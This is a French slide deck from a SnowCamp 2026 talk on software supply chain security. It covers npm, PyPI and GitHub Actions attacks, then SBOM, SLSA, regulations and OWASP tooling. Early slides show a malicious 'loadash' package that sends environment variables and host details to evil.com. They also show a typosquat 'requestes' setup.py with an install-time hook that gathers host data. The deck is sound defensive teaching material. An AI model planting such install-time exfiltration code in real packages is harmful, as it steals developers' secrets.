(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Who Am I ?

Purple Team & DevSecOps

  • Cybersecurity since 1997
  • Forensics Expert (French Justice) since 2013
  • Biking, cooking, chilling, coding...

Community

  • OWASP France Leader since 2006
  • Cloud Security Alliance (CSA)

Connect

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Agenda

Introduction : La Supply Chain

Attaques sur les écosystèmes

NPM

Python

GitHub Actions

Solutions

Techniques

Mesures Organisationnelles

Cadres Réglementaires

La Boîte à Outils OWASP

Démonstration

Conclusion

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🎪 Pourquoi cette présentation ?

Objectifs

  1. Comprendre les mécanismes d'attaque réels
  2. Identifier les vulnérabilités dans vos projets
  3. Mettre en place des solutions concrètes

🎁 Bonus

  • Checklist de sécurisation
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🎯 Introduction : La Supply Chain, notre talon d'Achille

Le problème

  • En moyenne, 85% du code d'une application provient de dépendances externes
  • Les attaques de supply chain ont augmenté de +900% entre 2020 et 2025 (Sonatype)
  • 5 packages npm malveillants publiés par jour en moyenne (Socket.dev)
  • Temps médian avant détection : 45 jours (Veracode, amélioration grâce à l'IA!)
  • Chaque projet moderne dépend de centaines, voire milliers de packages
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🔴 Le constat alarmant

Quelques chiffres qui font peur

  • NPM : 2.5 millions de packages
  • PyPI : 500 000+ packages
  • Maven Central : 12 millions d'artifacts

Le risque

Une seule dépendance compromise = toute votre chaîne de production exposée

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🏆 OWASP Top 10 2025 : Supply Chain au podium !

La montée en puissance

6 novembre 2025 : Publication de l'OWASP Top 10 2025 RC1

A03: Software Supply Chain Failures 🥉

  • 2021 : A06 (Vulnerable & Outdated Components)
  • 2025 : A03 (Software Supply Chain Failures) → +3 places !

Données analysées

  • 📊 2,8 millions d'applications testées
  • 🔬 589 CWEs cartographiées
  • 📋 175 000 enregistrements CVE analysés
  • 🏢 12 organisations contributrices

💡L'OWASP Top 10 combine données terrain ET préoccupations de la communauté

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Shai-Hulud Worm (Septembre 2025) - Le ver qui rêvait de devenir viral

Source : KrebsOnSecurity

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🔍 Exemple concret : Package malveillant

// Package "loadash" malveillant
const https = require('https');
const os = require('os');

// Exfiltration des données
function exfiltrate() {
  const data = {
    hostname: os.hostname(),
    user: os.userInfo().username,
    env: process.env,
    cwd: process.cwd()
  };
  
  https.request('https://evil.com/collect', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'}
  }).end(JSON.stringify(data));
}

// Exécuté lors de l'installation
exfiltrate();

// Export des fonctions de lodash pour ne pas éveiller les soupçons
module.exports = require('lodash');
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🔴 Démonstration : Package malveillant

Création d'un package typosquatting

# setup.py - Package "requestes" (typo de requests)
import socket
import os
from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # Code malveillant exécuté à l'installation
        hostname = socket.gethostname()
        user = os.getenv('USER', 'unknown')
        
        # Simulation d'exfiltration (fichier local pour la démo)
        with open('/tmp/stolen_data.txt', 'w') as f:
            f.write(f"Hostname: {hostname}\n")
            f.write(f"User: {user}\n")
            f.write(f"PWD: {os.getcwd()}\n")
        
        install.run(self)

setup(
    name='requestes',
    version='2.31.0',  # Version identique à requests
    cmdclass={'install': PostInstallCommand},
    description='HTTP library (FAKE - DEMO ONLY)',
    py_modules=['requestes']
)
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🛡️ NPM Comment se protéger ?

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🏗️Implémentez des niveaux de confiance dans vos pipelines

🎯 Recommandation : Visez au minimum SLSA 2 pour vos projets critiques
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Build Python (CI)

	  
python -m pip install -r requirements.txt 
python -m pip install build 
python -m build
	

SBOM CycloneDX (syft)

syft packages dir:. -o cyclonedx-json=sbom.cdx.json

Scan vuln (pip-audit)

pip-audit -r requirements.txt -f json -o pip-audit.json

Provenance SLSA (generator)

echo "${BASE64_SUBJECTS}" | base64 -d > subjects.json
gh workflow run generator_generic_slsa3.yml -f base64-subjects="${BASE64_SUBJECTS}"

Signer artefacts + SBOM (cosign)

cosign sign ghcr.io/org/repo/app:${TAG}
cosign sign-blob sbom.cdx.json --output-signature sbom.sig

Publier sur GHCR

echo "${GITHUB_TOKEN}" | docker login ghcr.io -u "${GITHUB_ACTOR}" --password-stdin
docker build -t ghcr.io/org/repo/app:${TAG} .
docker push ghcr.io/org/repo/app:${TAG}

Envoyer SBOM a Dependency-Track

curl -X POST "${DTRACK_URL}/api/v1/bom" \
  -H "X-Api-Key: ${DTRACK_API_KEY}" \
  -F "projectName=org/repo" \
  -F "projectVersion=${TAG}" \
  -F "bom=@sbom.cdx.json"

Envoyer rapport vuln a DefectDojo

curl -X POST "${DEFECTDOJO_URL}/api/v2/import-scan/" \
  -H "Authorization: Token ${DEFECTDOJO_API_KEY}" \
  -F "scan_type=Dependency Scan" \
  -F "engagement_name=org/repo" \
  -F "scan_date=$(date +%F)" \
  -F "file=@pip-audit.json"

Verifier provenance (slsa-verifier)

slsa-verifier verify-image ghcr.io/org/repo/app:${TAG} \
  --provenance-path monfichier.intoto.jsonl \
  --source-uri github.com/org/repo
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

📋 Mettez en place des SBOM (Software Bill of Materials)

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🔧 Formats SBOM standards

CycloneDX (OWASP)

{
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "version": 1,
  "components": [
    {
      "type": "library",
      "name": "requests",
      "version": "2.31.0",
      "purl": "pkg:pypi/requests@2.31.0",
      "hashes": [
        {
          "alg": "SHA-256",
          "content": "942c5a758f98d7c7..."
        }
      ]
    }
  ]
}

SPDX (Linux Foundation)

SPDXVersion: SPDX-2.2
DataLicense: CC0-1.0
SPDXID: SPDXRef-DOCUMENT
DocumentName: example-project
DocumentNamespace: http://example.com/spdxdocs/example-project-1.0
Creator: Tool: sbom-generator-1.0
Created: 2025-10-01T12:00:00Z

PackageName: example-package
SPDXID: SPDXRef-Package-example
PackageVersion: 1.0.0
PackageSupplier: Organization: ExampleOrg
PackageDownloadLocation: NOASSERTION
FilesAnalyzed: false
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
FileName: src/main.py
SPDXID: SPDXRef-File-main.py
FileChecksum: SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
FileCopyrightText: NOASSERTION
FileLicenseConcluded: NOASSERTION
FileLicenseInfoInFile: NOASSERTION

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🛡️ Sécuriser vos GitHub Actions

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🔍 Audit de vos workflows

Objectif (anti-exfiltration + publication sûre)

Un audit GitHub Actions vise surtout à:

  • empêcher qu’un workflow exécute du code non fiable avec des secrets (ex: PR d’un fork)
  • réduire au minimum ce qu’un job peut faire via GITHUB_TOKEN (principe du moindre privilège)
  • diminuer le risque supply-chain (actions tierces, dépendances, artefacts)
  • garantir que la publication/déploiement ne se fait que depuis un contexte “propre” (branche/tag, env protégé)

Methodologie a employer

  • ✅ Inventorier: triggers, permissions, secrets, actions tierces
  • ✅ Traquer: pull_request_target, actions non pincées, GITHUB_TOKEN trop large
  • ✅ Automatiser: actionlint + zizmor + gitleaks + scorecard
  • ✅ Durcir la prod: environnements + approbations + permissions minimales
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Méthode d’audit (simple et efficace)

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Outils open-source recommandés (et comment s’y prendre)

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

📚 Formation et Sensibilisation

Pour les développeurs

  • ✅ Reconnaissance des packages malveillants
  • ✅ Vérification avant installation
  • ✅ Bonnes pratiques de gestion des dépendances
  • ✅ Utilisation des outils de scanning

Pour les DevOps/SRE

  • ✅ Configuration sécurisée des pipelines
  • ✅ Monitoring des dépendances en production
  • ✅ Gestion des incidents supply chain

Pour le management

  • ✅ Risques business liés à la supply chain
  • ✅ ROI des investissements sécurité
  • ✅ Conformité réglementaire
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

Instaurer une culture Sécurité dans les équipes

🎯 Culture Sécurité 🏆 Mise en place de Security Champions
Principes clés :
Shift Left Security :
— intégrer la sécurité dès la conception
- automatiser des tests dans le pipeline CI.
Blameless Post-Mortems :
— apprendre des incidents sans blâmer
- améliorer les process.
Security Champions :
— désigner des ambassadeurs dans chaque équipe pour relayer et former.
KPIs Supply Chain Security

- 🎓 Formé aux enjeux de sécurité
- 🔄 Point de contact entre dev et sécurité
- 📣 Évangéliste des bonnes pratiques
- 🛡️ Revue des aspects sécurité dans les PR
- 📚 Veille technologique sur les menaces
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🇫🇷 ANSSI - Guide de la Supply Chain

5 axes principaux

  1. Gouvernance de la supply chain
  2. Sélection et évaluation des fournisseurs
  3. Sécurisation du développement logiciel
  4. Gestion des vulnérabilités
  5. Réponse aux incidents

Pour le développement logiciel

Mesure 1 : Inventaire des composants
  • ✅ Maintenir une SBOM à jour
  • ✅ Identifier les dépendances transitives
  • ✅ Documenter les versions utilisées
Mesure 2 : Analyse des vulnérabilités
  • ✅ Scanner automatiquement les dépendances
  • ✅ Prioriser selon la criticité
  • ✅ Définir des SLA de correction
Mesure 3 : Mise à jour régulière
  • ✅ Processus de patching défini
  • ✅ Tests avant mise en production
  • ✅ Rollback plan documenté
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🇺🇸 NIST - Framework de référence

Publié : Mai 2022

Objectifs

  • Identifier les risques supply chain
  • Mettre en place des contrôles
  • Assurer la résilience de la chaîne

4 groupes de pratiques

PO : Prepare the Organization
  • PO.1 : Définir les rôles et responsabilités
  • PO.3 : Implémenter des toolchains sécurisées
  • PO.5 : Maintenir des environnements sécurisés
PS : Protect the Software
  • PS.1 : Protéger tous les composants
  • PS.2 : Examiner le code source
  • PS.3 : Vérifier l'intégrité des dépendances
PW : Produce Well-Secured Software
  • PW.1 : Conception sécurisée
  • PW.4 : Scanner les vulnérabilités
  • PW.8 : Créer et maintenir des SBOM
RV : Respond to Vulnerabilities
  • RV.1 : Identifier et confirmer les vulnérabilités
  • RV.2 : Évaluer et prioriser les correctifs
  • RV.3 : Corriger les vulnérabilités
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🇪🇺 Cyber Resilience Act (CRA)

Nouveau règlement européen (2024)

Objectifs

  • Améliorer la sécurité des produits numériques
  • Imposer des obligations aux fabricants
  • Assurer la transparence de la chaîne

Exigences clés pour la supply chain

Article 10 : Cybersecurity requirements

  • ✅ SBOM obligatoire pour tous les produits
  • ✅ Vulnérabilités doivent être documentées
  • ✅ Mises à jour de sécurité garanties (min. 5 ans)

Article 11 : Vulnerability handling

  • ✅ Délais de correction définis
  • ✅ Notification aux utilisateurs
  • ✅ Reporting à l'ENISA
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

📊 NIS2 Directive (Network and Information Security)

Renforcement de la cybersécurité en Europe

Entrée en vigueur : Octobre 2024

Impact sur la supply chain

Article 21 : Gestion des risques

Les entités essentielles et importantes doivent :

  1. Évaluer les risques supply chain
  2. Mettre en place des mesures de sécurité
  3. Gérer les relations avec les fournisseurs
  4. Assurer la continuité d'activité

Obligations spécifiques

  • 🔍 Due diligence sur les fournisseurs critiques
  • 📋 Documentation des composants tiers
  • 🚨 Notification des incidents (24h)
  • 💰 Sanctions en cas de non-conformité (jusqu'à 10M€)
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

🎯 Executive Order 14028 (USA)

Improving the Nation's Cybersecurity (2021)

Section 4 : Software Supply Chain Security

Exigences pour les fournisseurs du gouvernement US

  1. SBOM pour tous les logiciels
  2. Attestation de conformité aux pratiques sécurisées
  3. Utilisation d'outils de scanning automatiques
  4. Traçabilité complète de la chaîne de build

Impact mondial

  • Standard de fait pour les entreprises internationales
  • Influence sur les frameworks (NIST SSDF)
  • Adoption par le secteur privé
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

✅ Matrice de conformité

Comparaison des exigences

Exigence ANSSI NIST CRA NIS2 EO 14028
SBOM ✅ ✅ ✅ ✅ ✅
Scan vulnérabilités ✅ ✅ ✅ ✅ ✅
Due diligence fournisseurs ✅ ✅ ⚠️ ✅ ✅
Notification incidents ✅ ⚠️ ✅ ✅ ⚠️
Délai de correction ⚠️ ⚠️ ✅ ⚠️ ⚠️
Sanctions financières ❌ ❌ ✅ ✅ ✅

Légende : ✅ Obligatoire | ⚠️ Recommandé | ❌ Non spécifié

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

📊 OWASP Top 10 CI/CD Security Risks

Spécifique à la chaîne CI/CD

Top 3 risques

  1. CICD-SEC-1: Insufficient Flow Control Mechanisms

    • Exécution de code non approuvé
    • Bypass des validations
  2. CICD-SEC-3: Dependency Chain Abuse

    • Packages malveillants
    • Typosquatting
    • Dependency confusion
  3. CICD-SEC-4: Poisoned Pipeline Execution (PPE)

    • Injection dans les workflows
    • Modification des pipelines
    • Exfiltration de secrets
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

� Ma Toolbox Anti- Toxique 🛠️

OWASP Dependency-Track (central)

Monitoring continu des SBOM

  • Centralisation des SBOM
  • Analyse automatique des vulnérabilités
  • Alertes en temps réel & tableaux de bord par projet

OWASP Dependency-Track (instance / CI)

Instance self-hosted & priorisation

  • Ingestion CycloneDX / SPDX
  • Priorisation contextualisée (exposition / usage)
  • API & intégration CI/CD pour actions automatisées

OpenCVE (suivi CVE)

Suivi et enrichissement des CVE

  • Agrégation & historique CVE
  • Métadonnées pour priorisation
  • Intégration API (Dependency-Track, SIEM)

DefectDojo (gestion findings)

Centralisation & triage des vulnérabilités

  • Ingestion SAST/DAST/SCA (ZAP, Burp, Trivy...)
  • Déduplication, triage et suivi des remédiations
  • Automatisation (tickets JIRA/GitHub) et rapports KPI
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

📚 Autres projets OWASP utiles

Ressources complémentaires

Cheat Sheet Series

OWASP Juice Shop

  • Application volontairement vulnérable
  • Inclut des challenges supply chain
  • Parfait pour la formation

OWASP SAMM

  • Software Assurance Maturity Model
  • Framework de maturité en sécurité
  • Section dédiée à la supply chain

OWASP Security Champions Playbook

  • Guide pour mettre en place un programme
  • Templates et ressources
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026
(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

✅ Action Items pour 2026

5 actions concrètes

  1. ✅ Générez vos SBOM et gardez-les à jour
  2. 🔐 Visez SLSA Level 2+ pour vos builds critiques
  3. 🔍 Auditez vos pipelines CI/CD comme vous auditez votre code
  4. 📊 Monitorer en continu avec des outils type Dependency-Track
  5. 🎓 Formez vos équipes aux risques supply chain

💡 "Dans le monde moderne, la sécurité de votre application dépend autant de la qualité de VOS dépendances que de VOTRE code." – PandaHack (2021)

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026

💡 Après 28 ans en cybersécurité (dont 20ans dans le code)

🎯 Priorisez

Vous ne pouvez pas tout sécuriser d'un coup

Commencez par vos assets critiques

👥 Impliquez les équipes

La sécurité n'est pas QUE le job de l'équipe sécu

Faites des développeurs vos alliés

🔄 Automatisez

Ce qui n'est pas automatisé ne sera pas fait

Intégrez la sécurité dans le workflow

📊 Mesurez

On ne peut améliorer que ce qu'on mesure

Définissez des KPIs clairs

(c) 2026 Sébastien Gioria & NanoBanana pour SnowCamp 2026